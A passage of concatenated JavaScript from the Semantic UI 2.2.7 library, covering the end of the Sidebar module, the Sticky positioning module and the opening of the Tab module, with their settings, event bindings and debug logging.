eventNamespace, module.event.containScroll) ; } }, unbind: { clickaway: function() { module.verbose('Removing clickaway events from context', $context); $context.off(elementNamespace); }, scrollLock: function() { module.verbose('Removing scroll lock from page'); $document.off(elementNamespace); $window.off(elementNamespace); $module.off('scroll' + eventNamespace); } }, add: { inlineCSS: function() { var width = module.cache.width || $module.outerWidth(), height = module.cache.height || $module.outerHeight(), isRTL = module.is.rtl(), direction = module.get.direction(), distance = { left : width, right : -width, top : height, bottom : -height }, style ; if(isRTL){ module.verbose('RTL detected, flipping widths'); distance.left = -width; distance.right = width; } style = '<style>'; if(direction === 'left' || direction === 'right') { module.debug('Adding CSS rules for animation distance', width); style += '' + ' .ui.visible.' + direction + '.sidebar ~ .fixed,' + ' .ui.visible.' + direction + '.sidebar ~ .pusher {' + ' -webkit-transform: translate3d('+ distance[direction] + 'px, 0, 0);' + ' transform: translate3d('+ distance[direction] + 'px, 0, 0);' + ' }' ; } else if(direction === 'top' || direction == 'bottom') { style += '' + ' .ui.visible.' + direction + '.sidebar ~ .fixed,' + ' .ui.visible.' + direction + '.sidebar ~ .pusher {' + ' -webkit-transform: translate3d(0, ' + distance[direction] + 'px, 0);' + ' transform: translate3d(0, ' + distance[direction] + 'px, 0);' + ' }' ; } /* IE is only browser not to create context with transforms */ /* path_to_url */ if( module.is.ie() ) { if(direction === 'left' || direction === 'right') { module.debug('Adding CSS rules for animation distance', width); style += '' + ' body.pushable > .ui.visible.' + direction + '.sidebar ~ .pusher:after {' + ' -webkit-transform: translate3d('+ distance[direction] + 'px, 0, 0);' + ' transform: translate3d('+ distance[direction] + 'px, 0, 0);' + ' }' ; } else if(direction === 'top' || direction == 'bottom') { style += '' + ' body.pushable > .ui.visible.' + direction + '.sidebar ~ .pusher:after {' + ' -webkit-transform: translate3d(0, ' + distance[direction] + 'px, 0);' + ' transform: translate3d(0, ' + distance[direction] + 'px, 0);' + ' }' ; } /* opposite sides visible forces content overlay */ style += '' + ' body.pushable > .ui.visible.left.sidebar ~ .ui.visible.right.sidebar ~ .pusher:after,' + ' body.pushable > .ui.visible.right.sidebar ~ .ui.visible.left.sidebar ~ .pusher:after {' + ' -webkit-transform: translate3d(0px, 0, 0);' + ' transform: translate3d(0px, 0, 0);' + ' }' ; } style += '</style>'; $style = $(style) .appendTo($head) ; module.debug('Adding sizing css to head', $style); } }, refresh: function() { module.verbose('Refreshing selector cache'); $context = $(settings.context); $sidebars = $context.children(selector.sidebar); $pusher = $context.children(selector.pusher); $fixed = $context.children(selector.fixed); module.clear.cache(); }, refreshSidebars: function() { module.verbose('Refreshing other sidebars'); $sidebars = $context.children(selector.sidebar); }, repaint: function() { module.verbose('Forcing repaint event'); element.style.display = 'none'; var ignored = element.offsetHeight; element.scrollTop = element.scrollTop; element.style.display = ''; }, setup: { cache: function() { module.cache = { width : $module.outerWidth(), height : $module.outerHeight(), rtl : ($module.css('direction') == 'rtl') }; }, layout: function() { if( $context.children(selector.pusher).length === 0 ) { module.debug('Adding wrapper element for sidebar'); module.error(error.pusher); $pusher = $('<div class="pusher" />'); $context .children() .not(selector.omitted) .not($sidebars) .wrapAll($pusher) ; module.refresh(); } if($module.nextAll(selector.pusher).length === 0 || $module.nextAll(selector.pusher)[0] !== $pusher[0]) { module.debug('Moved sidebar to correct parent element'); module.error(error.movedSidebar, element); $module.detach().prependTo($context); module.refresh(); } module.clear.cache(); module.set.pushable(); module.set.direction(); } }, attachEvents: function(selector, event) { var $toggle = $(selector) ; event = $.isFunction(module[event]) ? module[event] : module.toggle ; if($toggle.length > 0) { module.debug('Attaching sidebar events to element', selector, event); $toggle .on('click' + eventNamespace, event) ; } else { module.error(error.notFound, selector); } }, show: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if(module.is.hidden()) { module.refreshSidebars(); if(settings.overlay) { module.error(error.overlay); settings.transition = 'overlay'; } module.refresh(); if(module.othersActive()) { module.debug('Other sidebars currently visible'); if(settings.exclusive) { // if not overlay queue animation after hide if(settings.transition != 'overlay') { module.hideOthers(module.show); return; } else { module.hideOthers(); } } else { settings.transition = 'overlay'; } } module.pushPage(function() { callback.call(element); settings.onShow.call(element); }); settings.onChange.call(element); settings.onVisible.call(element); } else { module.debug('Sidebar is already visible'); } }, hide: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if(module.is.visible() || module.is.animating()) { module.debug('Hiding sidebar', callback); module.refreshSidebars(); module.pullPage(function() { callback.call(element); settings.onHidden.call(element); }); settings.onChange.call(element); settings.onHide.call(element); } }, othersAnimating: function() { return ($sidebars.not($module).filter('.' + className.animating).length > 0); }, othersVisible: function() { return ($sidebars.not($module).filter('.' + className.visible).length > 0); }, othersActive: function() { return(module.othersVisible() || module.othersAnimating()); }, hideOthers: function(callback) { var $otherSidebars = $sidebars.not($module).filter('.' + className.visible), sidebarCount = $otherSidebars.length, callbackCount = 0 ; callback = callback || function(){}; $otherSidebars .sidebar('hide', function() { callbackCount++; if(callbackCount == sidebarCount) { callback(); } }) ; }, toggle: function() { module.verbose('Determining toggled direction'); if(module.is.hidden()) { module.show(); } else { module.hide(); } }, pushPage: function(callback) { var transition = module.get.transition(), $transition = (transition === 'overlay' || module.othersActive()) ? $module : $pusher, animate, dim, transitionEnd ; callback = $.isFunction(callback) ? callback : function(){} ; if(settings.transition == 'scale down') { module.scrollToTop(); } module.set.transition(transition); module.repaint(); animate = function() { module.bind.clickaway(); module.add.inlineCSS(); module.set.animating(); module.set.visible(); }; dim = function() { module.set.dimmed(); }; transitionEnd = function(event) { if( event.target == $transition[0] ) { $transition.off(transitionEvent + elementNamespace, transitionEnd); module.remove.animating(); module.bind.scrollLock(); callback.call(element); } }; $transition.off(transitionEvent + elementNamespace); $transition.on(transitionEvent + elementNamespace, transitionEnd); requestAnimationFrame(animate); if(settings.dimPage && !module.othersVisible()) { requestAnimationFrame(dim); } }, pullPage: function(callback) { var transition = module.get.transition(), $transition = (transition == 'overlay' || module.othersActive()) ? $module : $pusher, animate, transitionEnd ; callback = $.isFunction(callback) ? callback : function(){} ; module.verbose('Removing context push state', module.get.direction()); module.unbind.clickaway(); module.unbind.scrollLock(); animate = function() { module.set.transition(transition); module.set.animating(); module.remove.visible(); if(settings.dimPage && !module.othersVisible()) { $pusher.removeClass(className.dimmed); } }; transitionEnd = function(event) { if( event.target == $transition[0] ) { $transition.off(transitionEvent + elementNamespace, transitionEnd); module.remove.animating(); module.remove.transition(); module.remove.inlineCSS(); if(transition == 'scale down' || (settings.returnScroll && module.is.mobile()) ) { module.scrollBack(); } callback.call(element); } }; $transition.off(transitionEvent + elementNamespace); $transition.on(transitionEvent + elementNamespace, transitionEnd); requestAnimationFrame(animate); }, scrollToTop: function() { module.verbose('Scrolling to top of page to avoid animation issues'); currentScroll = $(window).scrollTop(); $module.scrollTop(0); window.scrollTo(0, 0); }, scrollBack: function() { module.verbose('Scrolling back to original page position'); window.scrollTo(0, currentScroll); }, clear: { cache: function() { module.verbose('Clearing cached dimensions'); module.cache = {}; } }, set: { // ios only (scroll on html not document). This prevent auto-resize canvas/scroll in ios ios: function() { $html.addClass(className.ios); }, // container pushed: function() { $context.addClass(className.pushed); }, pushable: function() { $context.addClass(className.pushable); }, // pusher dimmed: function() { $pusher.addClass(className.dimmed); }, // sidebar active: function() { $module.addClass(className.active); }, animating: function() { $module.addClass(className.animating); }, transition: function(transition) { transition = transition || module.get.transition(); $module.addClass(transition); }, direction: function(direction) { direction = direction || module.get.direction(); $module.addClass(className[direction]); }, visible: function() { $module.addClass(className.visible); }, overlay: function() { $module.addClass(className.overlay); } }, remove: { inlineCSS: function() { module.debug('Removing inline css styles', $style); if($style && $style.length > 0) { $style.remove(); } }, // ios scroll on html not document ios: function() { $html.removeClass(className.ios); }, // context pushed: function() { $context.removeClass(className.pushed); }, pushable: function() { $context.removeClass(className.pushable); }, // sidebar active: function() { $module.removeClass(className.active); }, animating: function() { $module.removeClass(className.animating); }, transition: function(transition) { transition = transition || module.get.transition(); $module.removeClass(transition); }, direction: function(direction) { direction = direction || module.get.direction(); $module.removeClass(className[direction]); }, visible: function() { $module.removeClass(className.visible); }, overlay: function() { $module.removeClass(className.overlay); } }, get: { direction: function() { if($module.hasClass(className.top)) { return className.top; } else if($module.hasClass(className.right)) { return className.right; } else if($module.hasClass(className.bottom)) { return className.bottom; } return className.left; }, transition: function() { var direction = module.get.direction(), transition ; transition = ( module.is.mobile() ) ? (settings.mobileTransition == 'auto') ? settings.defaultTransition.mobile[direction] : settings.mobileTransition : (settings.transition == 'auto') ? settings.defaultTransition.computer[direction] : settings.transition ; module.verbose('Determined transition', transition); return transition; }, transitionEvent: function() { var element = document.createElement('element'), transitions = { 'transition' :'transitionend', 'OTransition' :'oTransitionEnd', 'MozTransition' :'transitionend', 'WebkitTransition' :'webkitTransitionEnd' }, transition ; for(transition in transitions){ if( element.style[transition] !== undefined ){ return transitions[transition]; } } } }, is: { ie: function() { var isIE11 = (!(window.ActiveXObject) && 'ActiveXObject' in window), isIE = ('ActiveXObject' in window) ; return (isIE11 || isIE); }, ios: function() { var userAgent = navigator.userAgent, isIOS = userAgent.match(regExp.ios), isMobileChrome = userAgent.match(regExp.mobileChrome) ; if(isIOS && !isMobileChrome) { module.verbose('Browser was found to be iOS', userAgent); return true; } else { return false; } }, mobile: function() { var userAgent = navigator.userAgent, isMobile = userAgent.match(regExp.mobile) ; if(isMobile) { module.verbose('Browser was found to be mobile', userAgent); return true; } else { module.verbose('Browser is not mobile, using regular transition', userAgent); return false; } }, hidden: function() { return !module.is.visible(); }, visible: function() { return $module.hasClass(className.visible); }, // alias open: function() { return module.is.visible(); }, closed: function() { return module.is.hidden(); }, vertical: function() { return $module.hasClass(className.top); }, animating: function() { return $context.hasClass(className.animating); }, rtl: function () { if(module.cache.rtl === undefined) { module.cache.rtl = ($module.css('direction') == 'rtl'); } return module.cache.rtl; } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { if($.isPlainObject(settings[name])) { $.extend(true, settings[name], value); } else { settings[name] = value; } } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } } ; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { module.invoke('destroy'); } module.initialize(); } }); return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.sidebar.settings = { name : 'Sidebar', namespace : 'sidebar', silent : false, debug : false, verbose : false, performance : true, transition : 'auto', mobileTransition : 'auto', defaultTransition : { computer: { left : 'uncover', right : 'uncover', top : 'overlay', bottom : 'overlay' }, mobile: { left : 'uncover', right : 'uncover', top : 'overlay', bottom : 'overlay' } }, context : 'body', exclusive : false, closable : true, dimPage : true, scrollLock : false, returnScroll : false, delaySetup : false, duration : 500, onChange : function(){}, onShow : function(){}, onHide : function(){}, onHidden : function(){}, onVisible : function(){}, className : { active : 'active', animating : 'animating', dimmed : 'dimmed', ios : 'ios', pushable : 'pushable', pushed : 'pushed', right : 'right', top : 'top', left : 'left', bottom : 'bottom', visible : 'visible' }, selector: { fixed : '.fixed', omitted : 'script, link, style, .ui.modal, .ui.dimmer, .ui.nag, .ui.fixed', pusher : '.pusher', sidebar : '.ui.sidebar' }, regExp: { ios : /(iPad|iPhone|iPod)/g, mobileChrome : /(CriOS)/g, mobile : /Mobile|iP(hone|od|ad)|Android|BlackBerry|IEMobile|Kindle|NetFront|Silk-Accelerated|(hpw|web)OS|Fennec|Minimo|Opera M(obi|ini)|Blazer|Dolfin|Dolphin|Skyfire|Zune/g }, error : { method : 'The method you called is not defined.', pusher : 'Had to add pusher element. For optimal performance make sure body content is inside a pusher element', movedSidebar : 'Had to move sidebar. For optimal performance make sure sidebar and pusher are direct children of your body tag', overlay : 'The overlay setting is no longer supported, use animation: overlay', notFound : 'There were no elements that matched the specified selector' } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Sticky * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.sticky = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.sticky.settings, parameters) : $.extend({}, $.fn.sticky.settings), className = settings.className, namespace = settings.namespace, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $module = $(this), $window = $(window), $scroll = $(settings.scrollContext), $container, $context, selector = $module.selector || '', instance = $module.data(moduleNamespace), requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); }, element = this, documentObserver, observer, module ; module = { initialize: function() { module.determineContainer(); module.determineContext(); module.verbose('Initializing sticky', settings, $container); module.save.positions(); module.checkErrors(); module.bind.events(); if(settings.observeChanges) { module.observeChanges(); } module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying previous instance'); module.reset(); if(documentObserver) { documentObserver.disconnect(); } if(observer) { observer.disconnect(); } $window .off('load' + eventNamespace, module.event.load) .off('resize' + eventNamespace, module.event.resize) ; $scroll .off('scrollchange' + eventNamespace, module.event.scrollchange) ; $module.removeData(moduleNamespace); }, observeChanges: function() { if('MutationObserver' in window) { documentObserver = new MutationObserver(module.event.documentChanged); observer = new MutationObserver(module.event.changed); documentObserver.observe(document, { childList : true, subtree : true }); observer.observe(element, { childList : true, subtree : true }); observer.observe($context[0], { childList : true, subtree : true }); module.debug('Setting up mutation observer', observer); } }, determineContainer: function() { if(settings.container) { $container = $(settings.container); } else { $container = $module.offsetParent(); } }, determineContext: function() { if(settings.context) { $context = $(settings.context); } else { $context = $container; } if($context.length === 0) { module.error(error.invalidContext, settings.context, $module); return; } }, checkErrors: function() { if( module.is.hidden() ) { module.error(error.visible, $module); } if(module.cache.element.height > module.cache.context.height) { module.reset(); module.error(error.elementSize, $module); return; } }, bind: { events: function() { $window .on('load' + eventNamespace, module.event.load) .on('resize' + eventNamespace, module.event.resize) ; // pub/sub pattern $scroll .off('scroll' + eventNamespace) .on('scroll' + eventNamespace, module.event.scroll) .on('scrollchange' + eventNamespace, module.event.scrollchange) ; } }, event: { changed: function(mutations) { clearTimeout(module.timer); module.timer = setTimeout(function() { module.verbose('DOM tree modified, updating sticky menu', mutations); module.refresh(); }, 100); }, documentChanged: function(mutations) { [].forEach.call(mutations, function(mutation) { if(mutation.removedNodes) { [].forEach.call(mutation.removedNodes, function(node) { if(node == element || $(node).find(element).length > 0) { module.debug('Element removed from DOM, tearing down events'); module.destroy(); } }); } }); }, load: function() { module.verbose('Page contents finished loading'); requestAnimationFrame(module.refresh); }, resize: function() { module.verbose('Window resized'); requestAnimationFrame(module.refresh); }, scroll: function() { requestAnimationFrame(function() { $scroll.triggerHandler('scrollchange' + eventNamespace, $scroll.scrollTop() ); }); }, scrollchange: function(event, scrollPosition) { module.stick(scrollPosition); settings.onScroll.call(element); } }, refresh: function(hardRefresh) { module.reset(); if(!settings.context) { module.determineContext(); } if(hardRefresh) { module.determineContainer(); } module.save.positions(); module.stick(); settings.onReposition.call(element); }, supports: { sticky: function() { var $element = $('<div/>'), element = $element[0] ; $element.addClass(className.supported); return($element.css('position').match('sticky')); } }, save: { lastScroll: function(scroll) { module.lastScroll = scroll; }, elementScroll: function(scroll) { module.elementScroll = scroll; }, positions: function() { var scrollContext = { height : $scroll.height() }, element = { margin: { top : parseInt($module.css('margin-top'), 10), bottom : parseInt($module.css('margin-bottom'), 10), }, offset : $module.offset(), width : $module.outerWidth(), height : $module.outerHeight() }, context = { offset : $context.offset(), height : $context.outerHeight() }, container = { height: $container.outerHeight() } ; if( !module.is.standardScroll() ) { module.debug('Non-standard scroll. Removing scroll offset from element offset'); scrollContext.top = $scroll.scrollTop(); scrollContext.left = $scroll.scrollLeft(); element.offset.top += scrollContext.top; context.offset.top += scrollContext.top; element.offset.left += scrollContext.left; context.offset.left += scrollContext.left; } module.cache = { fits : ( element.height < scrollContext.height ), scrollContext : { height : scrollContext.height }, element: { margin : element.margin, top : element.offset.top - element.margin.top, left : element.offset.left, width : element.width, height : element.height, bottom : element.offset.top + element.height }, context: { top : context.offset.top, height : context.height, bottom : context.offset.top + context.height } }; module.set.containerSize(); module.set.size(); module.stick(); module.debug('Caching element positions', module.cache); } }, get: { direction: function(scroll) { var direction = 'down' ; scroll = scroll || $scroll.scrollTop(); if(module.lastScroll !== undefined) { if(module.lastScroll < scroll) { direction = 'down'; } else if(module.lastScroll > scroll) { direction = 'up'; } } return direction; }, scrollChange: function(scroll) { scroll = scroll || $scroll.scrollTop(); return (module.lastScroll) ? (scroll - module.lastScroll) : 0 ; }, currentElementScroll: function() { if(module.elementScroll) { return module.elementScroll; } return ( module.is.top() ) ? Math.abs(parseInt($module.css('top'), 10)) || 0 : Math.abs(parseInt($module.css('bottom'), 10)) || 0 ; }, elementScroll: function(scroll) { scroll = scroll || $scroll.scrollTop(); var element = module.cache.element, scrollContext = module.cache.scrollContext, delta = module.get.scrollChange(scroll), maxScroll = (element.height - scrollContext.height + settings.offset), elementScroll = module.get.currentElementScroll(), possibleScroll = (elementScroll + delta) ; if(module.cache.fits || possibleScroll < 0) { elementScroll = 0; } else if(possibleScroll > maxScroll ) { elementScroll = maxScroll; } else { elementScroll = possibleScroll; } return elementScroll; } }, remove: { lastScroll: function() { delete module.lastScroll; }, elementScroll: function(scroll) { delete module.elementScroll; }, offset: function() { $module.css('margin-top', ''); } }, set: { offset: function() { module.verbose('Setting offset on element', settings.offset); $module .css('margin-top', settings.offset) ; }, containerSize: function() { var tagName = $container.get(0).tagName ; if(tagName === 'HTML' || tagName == 'body') { // this can trigger for too many reasons //module.error(error.container, tagName, $module); module.determineContainer(); } else { if( Math.abs($container.outerHeight() - module.cache.context.height) > settings.jitter) { module.debug('Context has padding, specifying exact height for container', module.cache.context.height); $container.css({ height: module.cache.context.height }); } } }, minimumSize: function() { var element = module.cache.element ; $container .css('min-height', element.height) ; }, scroll: function(scroll) { module.debug('Setting scroll on element', scroll); if(module.elementScroll == scroll) { return; } if( module.is.top() ) { $module .css('bottom', '') .css('top', -scroll) ; } if( module.is.bottom() ) { $module .css('top', '') .css('bottom', scroll) ; } }, size: function() { if(module.cache.element.height !== 0 && module.cache.element.width !== 0) { element.style.setProperty('width', module.cache.element.width + 'px', 'important'); element.style.setProperty('height', module.cache.element.height + 'px', 'important'); } } }, is: { standardScroll: function() { return ($scroll[0] == window); }, top: function() { return $module.hasClass(className.top); }, bottom: function() { return $module.hasClass(className.bottom); }, initialPosition: function() { return (!module.is.fixed() && !module.is.bound()); }, hidden: function() { return (!$module.is(':visible')); }, bound: function() { return $module.hasClass(className.bound); }, fixed: function() { return $module.hasClass(className.fixed); } }, stick: function(scroll) { var cachedPosition = scroll || $scroll.scrollTop(), cache = module.cache, fits = cache.fits, element = cache.element, scrollContext = cache.scrollContext, context = cache.context, offset = (module.is.bottom() && settings.pushing) ? settings.bottomOffset : settings.offset, scroll = { top : cachedPosition + offset, bottom : cachedPosition + offset + scrollContext.height }, direction = module.get.direction(scroll.top), elementScroll = (fits) ? 0 : module.get.elementScroll(scroll.top), // shorthand doesntFit = !fits, elementVisible = (element.height !== 0) ; if(elementVisible) { if( module.is.initialPosition() ) { if(scroll.top >= context.bottom) { module.debug('Initial element position is bottom of container'); module.bindBottom(); } else if(scroll.top > element.top) { if( (element.height + scroll.top - elementScroll) >= context.bottom ) { module.debug('Initial element position is bottom of container'); module.bindBottom(); } else { module.debug('Initial element position is fixed'); module.fixTop(); } } } else if( module.is.fixed() ) { // currently fixed top if( module.is.top() ) { if( scroll.top <= element.top ) { module.debug('Fixed element reached top of container'); module.setInitialPosition(); } else if( (element.height + scroll.top - elementScroll) >= context.bottom ) { module.debug('Fixed element reached bottom of container'); module.bindBottom(); } // scroll element if larger than screen else if(doesntFit) { module.set.scroll(elementScroll); module.save.lastScroll(scroll.top); module.save.elementScroll(elementScroll); } } // currently fixed bottom else if(module.is.bottom() ) { // top edge if( (scroll.bottom - element.height) <= element.top) { module.debug('Bottom fixed rail has reached top of container'); module.setInitialPosition(); } // bottom edge else if(scroll.bottom >= context.bottom) { module.debug('Bottom fixed rail has reached bottom of container'); module.bindBottom(); } // scroll element if larger than screen else if(doesntFit) { module.set.scroll(elementScroll); module.save.lastScroll(scroll.top); module.save.elementScroll(elementScroll); } } } else if( module.is.bottom() ) { if( scroll.top <= element.top ) { module.debug('Jumped from bottom fixed to top fixed, most likely used home/end button'); module.setInitialPosition(); } else { if(settings.pushing) { if(module.is.bound() && scroll.bottom <= context.bottom ) { module.debug('Fixing bottom attached element to bottom of browser.'); module.fixBottom(); } } else { if(module.is.bound() && (scroll.top <= context.bottom - element.height) ) { module.debug('Fixing bottom attached element to top of browser.'); module.fixTop(); } } } } } }, bindTop: function() { module.debug('Binding element to top of parent container'); module.remove.offset(); $module .css({ left : '', top : '', marginBottom : '' }) .removeClass(className.fixed) .removeClass(className.bottom) .addClass(className.bound) .addClass(className.top) ; settings.onTop.call(element); settings.onUnstick.call(element); }, bindBottom: function() { module.debug('Binding element to bottom of parent container'); module.remove.offset(); $module .css({ left : '', top : '' }) .removeClass(className.fixed) .removeClass(className.top) .addClass(className.bound) .addClass(className.bottom) ; settings.onBottom.call(element); settings.onUnstick.call(element); }, setInitialPosition: function() { module.debug('Returning to initial position'); module.unfix(); module.unbind(); }, fixTop: function() { module.debug('Fixing element to top of page'); module.set.minimumSize(); module.set.offset(); $module .css({ left : module.cache.element.left, bottom : '', marginBottom : '' }) .removeClass(className.bound) .removeClass(className.bottom) .addClass(className.fixed) .addClass(className.top) ; settings.onStick.call(element); }, fixBottom: function() { module.debug('Sticking element to bottom of page'); module.set.minimumSize(); module.set.offset(); $module .css({ left : module.cache.element.left, bottom : '', marginBottom : '' }) .removeClass(className.bound) .removeClass(className.top) .addClass(className.fixed) .addClass(className.bottom) ; settings.onStick.call(element); }, unbind: function() { if( module.is.bound() ) { module.debug('Removing container bound position on element'); module.remove.offset(); $module .removeClass(className.bound) .removeClass(className.top) .removeClass(className.bottom) ; } }, unfix: function() { if( module.is.fixed() ) { module.debug('Removing fixed position on element'); module.remove.offset(); $module .removeClass(className.fixed) .removeClass(className.top) .removeClass(className.bottom) ; settings.onUnstick.call(element); } }, reset: function() { module.debug('Resetting elements position'); module.unbind(); module.unfix(); module.resetCSS(); module.remove.offset(); module.remove.lastScroll(); }, resetCSS: function() { $module .css({ width : '', height : '' }) ; $container .css({ height: '' }) ; }, setting: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 0); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.sticky.settings = { name : 'Sticky', namespace : 'sticky', silent : false, debug : false, verbose : true, performance : true, // whether to stick in the opposite direction on scroll up pushing : false, context : false, container : false, // Context to watch scroll events scrollContext : window, // Offset to adjust scroll offset : 0, // Offset to adjust scroll when attached to bottom of screen bottomOffset : 0, jitter : 5, // will only set container height if difference between context and container is larger than this number // Whether to automatically observe changes with Mutation Observers observeChanges : false, // Called when position is recalculated onReposition : function(){}, // Called on each scroll onScroll : function(){}, // Called when element is stuck to viewport onStick : function(){}, // Called when element is unstuck from viewport onUnstick : function(){}, // Called when element reaches top of context onTop : function(){}, // Called when element reaches bottom of context onBottom : function(){}, error : { container : 'Sticky element must be inside a relative container', visible : 'Element is hidden, you must call refresh after element becomes visible. Use silent setting to surpress this warning in production.', method : 'The method you called is not defined.', invalidContext : 'Context specified does not exist', elementSize : 'Sticky element is larger than its container, cannot create sticky.' }, className : { bound : 'bound', fixed : 'fixed', supported : 'native', top : 'top', bottom : 'bottom' } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Tab * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.tab = function(parameters) { var // use window context if none specified $allModules = $.isFunction(this) ? $(window) : $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), initializedHistory = false, returnedValue ; $allModules .each(function() { var 